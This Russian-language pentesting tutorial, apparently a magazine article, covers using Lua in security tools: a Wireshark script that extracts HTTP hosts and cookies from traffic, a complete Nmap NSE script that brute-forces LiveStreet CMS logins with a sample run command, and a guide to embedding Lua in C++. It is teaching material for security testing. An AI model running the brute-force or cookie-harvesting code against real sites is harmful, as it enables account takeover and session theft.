Язык Lua на службе у пентестеров.

Разработчики давно поняли: чтобы сделать программу по-настоящему гибкой и расширяемой, нужно добавить внутрь хороший скриптовый язык. Тем более что придумывать ничего не надо: есть Lua, который прекрасно интегрируется, чем и воспользовались создатели Wireshark, Nmap и даже малвари.

sonety-f


WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Intro

Ранее мы уже писали немного об этом лунном языке (Lua в переводе с португальского означает «Луна») в одном из спецномеров «Хакера» (№ 64, март 2006-го), выпуск которого был посвящен программированию игр. Сегодня же мы поговорим о применении Lua в сфере информационной безопасности. Написать этот раздел и в принципе статью меня подвигло прочтение исследования популярного вируса Flame, авторы которого использовали Lua для быстрого расширения возможностей своего оружия. Если уж даже создатели малвари используют его, стало быть, он и правда хорош.

Декомпилированный код Lua из вируса FlameДекомпилированный код Lua из вируса Flame

После небольшого изучения темы оказалось, что поддержка языка реализована в популярных утилитах, с которыми приходится иметь дело каждый день, при этом я почему-то обходил такую возможность стороной. Пришло время это исправить.

Расширение для Wireshark

В работе мне довольно часто приходится анализировать большие объемы трафика, причем искать в них вполне конкретные паттерны. Поддержка Lua для написания расширений в Wireshark может сэкономить кучу времени (которую можно потратить, скажем, на сон).

При небольшой сноровке можно писать довольно сложные сценарии для поиска паттернов и анализа трафика. Но для примера мы возьмем что-нибудь простое и показательное — напишем простой скрипт для парсинга полей имени хоста и cookies. И параллельно разберем несколько ошибок, которые могут возникнуть в процессе разработки расширения.

Интерпретатор языка находится по следующему пути: <code>Tools -> Lua -> Evalute</code>, куда мы и вставляем наш скрипт.

Пример выполнения Lua-скрипта в WiresharkПример выполнения Lua-скрипта в Wireshark

Скрипт также можно выполнить через консоль, используя tshark:

<pre><code>tshark -r $FILE.pcap -X lua_script:script.lua </code></pre>

Так как скрипт небольшой, я приведу код сразу, а далее мы его разберем по частям:

<pre><code>cookiewindow = TextWindow.new("List cookies") do local hostname = Field.new("http.host") local cookiedata = Field.new("http.cookie") local function init_listener() local tap = Listener.new("http") function tap.packet(pinfo,buffer,userdata) local targethost = hostname() local targetcookie = cookiedata() if targethost ~= nil then if targethost ~= nil then cookiewindow:append(tostring(targethost)) cookiewindow:append("\n") cookiewindow:append(tostring(targethost)) cookiewindow:append("\n\n") end end end end init_listener() end </code></pre>

Итак, поехали. Сначала для более удобного вывода нужных нам данных создадим отдельное окно для текстовой информации:

<pre><code>cookiewindow = TextWindow.new("List cookies") </code></pre>

В принципе, можно уже выполнить эту строку после запуска Wireshark, и мы получим желанное окно, которое представлено на скриншоте.

Созданное окно с помощью расширения в WireharkСозданное окно с помощью расширения в Wirehark

Далее создадим переменные, которые будут обращаться к полям <code>host</code> и <code>cookie</code> HTTP-протокола:

<pre><code>local hostname = Field.new("http.host") local cookiedata = Field.new("http.cookie") </code></pre>

Таким образом можно обращаться к любым полям любого протокола, а как мы все помним, этот замечательный снифер из коробки знает структуру колоссального числа протоколов и умеет «молотить» их на понятные части на лету (впрочем, для неизвестного протокола легко прописать структуру).

Теперь напишем функцию инициализации приемника пакетов и установим фильтр на HTTP-протокол:

<pre><code>local function init_listener() local tap = Listener.new("http") </code></pre>

Здесь можно также написать фильтр на определенный IP-адрес — в общем, все то, что мы обычно указываем в поле <code>Filter</code> при обычной работе с Wireshark. После этого распишем функцию <code>tap.packet</code>, которая будет выполняться каждый раз при поимке пакета, и определим переменные для так называемых <code>extractor</code>, которые получают значения указанных выше полей.

<pre><code>function tap.packet(pinfo,buffer,userdata) local targethost = hostname() local targetcookie = cookiedata() </code></pre>

Далее все совсем просто, переводим в строки полученные переменные и добавляем к созданному окну:

<pre><code>cookiewindow:append(tostring(targethost)) </code></pre>

Единственный нюанс: объединить переменные с помощью операции объединения строк нельзя, поскольку такие данные имеют тип userdata, а Lua не может напрямую их изменять. Но это можно обойти через метатаблицы.

Теперь выполним наш скрипт и запустим снифинг пакетов.

Работа нашего расширения в WiresharkРабота нашего расширения в Wireshark

Работает! Но как видишь, у расширения есть минус — он выводит одинаковые кукисы, поэтому в идеале надо сделать таблицу, где будут храниться старые значения, и добавить проверку на уникальность. Но это я оставляю тебе в качестве домашнего задания. Если же ты не справишься или ты из тех людей, которые любят готовые рецепты, то полная версия будет ждать тебя на моем GitHub-аккаунте.

В сноске ты найдешь ссылки на вики и API с более подробной информацией по написанию расширений. Помимо этого, приведены примеры рабочих скриптов, один из которых сохраняет VoIP-звонки из пакетов в отдельные файлы и работает с SQL базой данных.

Расширение для Nmap

Nmap так же, как и Wireshark, позволяет активно использовать Lua, чтобы серьезно прокачать возможности сканера и превратить его в своего рода Metasploit (мы об этом уже писали). Часть программы, которая отвечает за работу с языком, называется Nmap Scripting Engine (NSE), поэтому все скрипты для сканера имеют расширение <code>nse</code>.

Разберем стандартную структуру скрипта. В начале каждого сценария добавляются стандартные библиотеки:

<pre><code>local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" </code></pre>

Далее идут метаданные:

<pre><code>description = [[ Описание скрипта ]] author = "Автор скрипта" license = "Тип лицензии http://nmap.org/book/man-legal.html" categories = {"cat1", "cat2" } -- Категории, к которым относится скрипт --- -- @usage -- nmap --script имя_скрипта [--script-args аргументы,...] <host> -- -- @output -- Вывод -- -- @args описание переменных. -- @args ... . -- Changelog: -- 2013-11-10 Имя автора <email>: -- + Initial version </code></pre>

После этого идет непосредственно код сценария. Для примера напишем простейший скрипт для брута пользователей популярной CMS LiveStreet.

Вначале определим стандартные переменные и подключим недостающие библиотеки:

<pre><code>local brute = require "brute" -- упрощает процесс брута local creds = require "creds" -- для сбора данных portrule = shortport.http -- использование стандартных HTTP-портов, также эта часть кода называется секция «правил» local DEFAULT_LS_URI = "/login/" -- путь, по которому находится форма логина local DEFAULT_LS_USERVAR = "login" -- имя переменной для значения логина в форме local DEFAULT_LS_PASSVAR = "password" -- имя переменной для пароля local DEFAULT_THREAD_NUM = 3 -- количество потоков </code></pre>

Далее составим класс <code>Driver</code> для брута из соответствующей библиотеки. Напишем функцию инициализации с указанием хоста, порта и пути до формы логина:

<pre><code>Driver = { new = function(self, host, port, options) local o = {} setmetatable(o, self) self.__index = self o.host = stdnse.get_script_args('http-livestreet-brute.hostname') or host o.port = port o.uri = stdnse.get_script_args('http-livestreet-brute.uri') or DEFAULT_LS_URI o.options = options return o end, </code></pre>

Функции коннекта и дисконнекта оставим без изменений:

<pre><code>connect = function( self ) return true end, disconnect = function( self ) return true end, </code></pre>

Далее пишем проверку, чтобы посмотреть успешность коннекта и наличие поля для пароля:

<pre><code>check = function( self ) local response = http.get( self.host, self.port, self.uri ) stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then stdnse.print_debug(1, "Проверка пройдена. Запускаем атаку") return true else stdnse.print_debug(1, "Проверка не пройдена. Поле с паролем не обнаружено") end return false end </code></pre>

Ну и самая главная часть — функция логина. Сначала составляем HTTP-запрос:

<pre><code>login = function( self, username, password ) -- составляем HTTP-запрос с указанием переменных -- username - логин -- password - пароль -- submit_login - скрытая переменная для предотвращения брута, передается пустое значение -- помимо этого, здесь можно указать cookies и другие элементы обычного запроса local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password, submit_login = "" } ) </code></pre>

Далее указываем результат, после которого считается, что пара логин с паролем, переданные в запросе, были правильными:

<pre><code> if response.status == 301 then local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port ) c:add(username, password, creds.State.VALID ) return true, brute.Account:new( username, password, "OPEN") end return false, brute.Error:new( "Неправильный пароль" ) end, </code></pre>

В случае с сайтами на WordPress значение будет 302. Другой вариант — проверять появление нового HTML-элемента на странице (например, после логина обязательно появится ссылка для выхода пользователя из системы):

<pre><code><a href="http://site.com/login/exit/?security_ls_key=<key>">выход</a> </code></pre>

Теперь распишем главную функцию <code>action</code>, которая обязательно должна быть в коде:

<pre><code>action = function( host, port ) local status, result, engine -- объявляем переменные -- получаем значения из командной строки или используем стандартные local uservar = stdnse.get_script_args('http-livestreet-brute.uservar') or DEFAULT_LS_USERVAR local passvar = stdnse.get_script_args('http-livestreet-brute.passvar') or DEFAULT_LS_PASSVAR local thread_num = stdnse.get_script_args("http-livestreet-brute.threads") or DEFAULT_THREAD_NUM -- запускаем «движок» брута, используя указанную выше функцию engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } ) engine:setMaxThreads(thread_num) engine.options.script_name = SCRIPT_NAME status, result = engine:start() </code></pre>

Сохраним полученный скрипт с расширением <code>nse</code> и положим рядом два файла: <code>users.txt</code> и<code>passwords.txt</code> — с некоторым количеством имен пользователей и паролей.

В случае LiveStreet можно даже напарсить валидные имена пользователей или добавить этот функционал в скрипт.

Теперь запустим полученный сценарий (полный исходник скрипта можно скачать из моего GitHub-репозитория):

<pre><code>nmap -p80 --script http-livestreet-brute --script-args 'userdb=users.txt,passdb=passwords.txt' <target> </code></pre>

Если все пройдет успешно, то ты увидишь отчет о проделанном брутфорсе.

Отчет Nmap-скрипта для брута пользователей LiveStreet CMSОтчет Nmap-скрипта для брута пользователей LiveStreet CMS

Как видишь, код не такой сложный, что позволяет быстро написать свой скрипт под определенную цель, с которой ты столкнулся в процессе проведения пентеста.


INFO

Если при запуске скрипта возникла ошибка с текстом «Field_get: A Field extractor must be defined before Taps or Dissectors get called», значит, скрипт был запущен после старта снифинга пакета и нужно будет перезапустить Wireshark.

Шпаргалка по Lua

Первое, что надо знать, — Lua — это язык с динамическим определением данных, то есть переменные получают тип на лету в зависимости от своего содержания. Всего используется восемь типов:

  • nil (пустое значение);
  • boolean (логический);
  • number (числовой);
  • string (строковый);
  • function (функция);
  • userdata (пользовательские данные, если вкратце, то это данные программы, с которой взаимодействует Lua);
  • thread (поток);
  • table (таблица — самый интересный тип, он включает в себя свойства как массива, структуры, так и списка, множества и представляет собой набор пар (ключ, значение), то есть является хеш-таблицей).

Условные операторы и циклы довольны стандартны:

<pre><code>-- комментарии обозначаются двумя тире -- условные операторы if x == 1 then print("x = 1") end if x == 1 then print("x = 1") else print("x != 1") end -- сокращенная форма if + elseif + end, используется вместо switch/case if x == 1 then print("x = 1") elseif x == 2 then print("x = 2") elseif x == 3 then print("x = 3") else print("x > 3") end -- цикл со счетчиком for i = 1, 5 do print(i) end -- цикл с предусловием x = 5 while x > 0 do x = x - 1 end -- цикл с постусловием repeat x = x + 1 until x >= 5 </code></pre>

Операции также почти все знакомые:

  • присваивание: x = 0;
  • арифметические: +, -, *, /, % , ^;
  • логические: and, or, not;
  • сравнение: >, <, ==, <=, >=, ~= (первое отличие, такой оператор вместо <code>!=</code>);
  • объединение строк: <code>..</code> (второе отличие, вместо <code>+</code> или <code>.</code>);
  • длина/размер переменной: #;
  • получение элемента по индексу: array[2].

Начиная с 5.2 доступны наши любимые битовые операции через таблицу <code>bit32</code>. Например, выведем XOR-значение в запущенном интерпретаторе Lua:

<pre><code>> value = 0xffff0000 > key = 0x00ffff00 > = string.format("%08x",bit32.bxor(value, key)) ff00ff00 </code></pre>

Функцию мы рассмотрим на примере тестового скрипта в нашей программе. Более подробно про этот язык можешь прочитать по ссылкам в сносках. Для написания программ достаточно будет Notepad++ или Sublime Text.

Outro

Вообще, использование Lua растет и растет. Так, на момент написания статьи была опубликована новость, что появился плагин для Olly Debugger версии 2+, добавляющий поддержку Lua.

Впрочем, язык не ограничивается одними программами для ИБ-сферы и может пригодиться в самых разных ситуациях. Как я уже говорил, его часто используют для игр, например World of Warcraft в своих аддонах (предоставляя API и довольно неплохую документацию по нему). Помимо игровых приложений, его задействуют такие программы, как Setup Factory. На нем написаны многие инсталляторы: Apache, nginx, Adobe Photoshop Lightroom, VLC и многие другие. Там, где нужно реализовать программируемое поведение программы, — интегрированный интерпретатор Lua точно будет очень неплохим вариантом.

 

Встраиваем компилятор в свою программу

Итак, главная фишка Lua в том, что его можно встроить в любую программу и предложить всем желающим расширить ее возможности. Как это сделать? Я покажу на примере Visual C++ программы. Стоит отметить, что сам Lua написан на чистом C, и это создает некоторые сложности при добавлении в программы с плюсами. На просторах Сети предлагается несколько вариантов добавления поддержки Lua в C++ программы. Кто-то предпочитает скачивать уже прекомпилированные библиотеки или готовые фреймворки, кто-то — компилировать из исходников самому, а кто-то — подключать исходники к своему проекту и, немного разобравшись с настройками в проекте, добиться действительного добавления Lua в свою программу. Мы с тобой как раз и разберем последний вариант.

Создадим новый консольный проект (я пользуюсь Visual Studio 2010). После чего добавим через свойства проекта директорию с исходниками:

<pre><code>Properties -> Configuration properties -> C/C++ -> General Properties -> Configuration properties -> Linker -> General </code></pre>

где в каждом из разделов добавим в соответствующие поля <code>... Directories</code> путь к исходникам языка. Далее создаем раздел Lua, куда добавляем все файлы из папки <code>src</code>:

<pre><code>Project\New Filter ... Project\Add Existing Item </code></pre>

Добавление директории с исходниками Lua в проект Добавление директории с исходниками Lua в проект.

Как я уже упомянул выше, Lua написан на чистом C, поэтому применим небольшой хак — добавим в начало своего файла следующие строки:

<pre><code>extern "C" { #include "lua.h" #include "lualib.h" #include "lauxlib.h" }; </code></pre>

Далее инициализируем наш язык и подключим его библиотеки:

<pre><code>lua_State * L = luaL_newstate(); luaL_openlibs(L); </code></pre>

Теперь создадим цикл, который будет проверять входящие данные, пока они не закончатся (или не переполнят буфер), и выполнять их:

<pre><code>while (fgets(buff, sizeof(buff), stdin) != NULL) { error = luaL_loadbuffer(L, buff, strlen(buff), "line") || lua_pcall(L, 0, 0, 0); if (error) { fprintf_s(stderr, "%s", lua_tostring(L, - 1)); lua_pop(L, 1); } } </code></pre>

Команда <code>luaL_loadbuffer</code> загружает строку из буфера в Lua, но не исполняет ее. Для выполнения нужно вызвать <code>lua_pcall</code>. После окончания цикла закрываем экземпляр с Lua

<pre><code>lua_close(L); </code></pre>

Теперь можно компилировать проект и запустить.

Работаем в скомпилированном интерпретаторе Lua Работаем в скомпилированном интерпретаторе Lua
В ходе компиляции могут возникнуть ошибки:

  • <code>file.с 'Debug\lua_interpretator.pch' precompiled header file ...</code>;
  • после запуска постоянно появляется родное окно интерпретатора Lua.

Для исправления первой ошибки нужно отменить PCH-компиляцию для всех проблемных C-файлов. В случае второй ошибки исключи из проекта файлы <code>lua.c</code> и <code>luac.c</code>.

Следующий проект создадим аналогичный первому, но теперь будем запускать свои сохраненные скрипты в самой программе, инициализируем Lua и добавим после:

<pre><code>const char *testscript = { "function double(n)\n" " return n * 2\n" "end\n" "\n" "io.write(double(1))\n" }; </code></pre>

Это и есть обещанный пример объявления и работы с функцией. Теперь загрузим его в память и выполним:

<pre><code>luaL_dostring(L, testscript); </code></pre>

В этом случае мы обошлись без <code>pcall</code>, так как используем макрос с приставкой <code>do-</code> вместо<code>load-</code>, который вызывает одновременно <code>loadstring</code> и <code>pcall</code>, как в следующем примере:

<pre><code>luaL_loadstring(L, "io.write('Hello XAKEP from C++')"); lua_pcall(L, 0, 0, 0); </code></pre>

Теперь рассмотрим возможность вызова функций C-программы из Lua-скриптов. И для начала объявим функцию, которая будет вызываться из нашего языка:

<pre><code>int my_function(lua_State *L) { int argc = lua_gettop(L); // Получаем количество переданных значений for ( int n=1; n<=argc; ++n ) { fprintf_s(stdout, lua_tostring(L, n) ); } lua_pushnumber(L, 123); // Значение, которое возвращаем return 1; // Количество возвращаемых значений } </code></pre>

Далее регистрируем функцию:

<pre><code> lua_register(L, "my_function", my_function); </code></pre>

Прописываем функцию, которая загружает по переданному пути скрипт:

<pre><code> int s = luaL_loadfile(L, file); </code></pre>

И запускаем загруженный скрипт:

<pre><code>s = lua_pcall(L, 0, LUA_MULTRET, 0); </code></pre>

Но, если заметил, вызов немного отличается от предыдущего проекта. Константа<code>LUA_MULTRET</code> используется вместе с функцией <code>lua_gettop</code> для подсчета стека до и после вызова. Компилируем, не забывая про описанные выше ошибки.

Теперь пропишем вызов этой функции из Lua в отдельный скрипт и назовем его<code>call_func.lua</code>:

<pre><code>io.write("Running ", _VERSION, "\n") a = my_function(1, 2, 3, " xa", "kep ") io.write("my_function() returned ", a, "\n") -- Выводим значение, которое вернула функция </code></pre>

Вызовем полученный файл из нашей программы:

<pre><code>calling_functions.exe call_func.lua </code></pre>

И получим следующий вывод в консоль:

Вывод вызываемой C-функции из Lua Вывод вызываемой C-функции из Lua
Готовые исходники проектов ты можешь взять из GitHub, но не забывай, что в них прописаны пути к моей Lua и для экономии места вырезаны функции обработки ошибок Lua-скриптов. Еще я не подробно расписал одну интересную тему — работу со стеком, которая позволяет обмениваться данными с основной программой, хотя главное мы затронули в последнем проекте.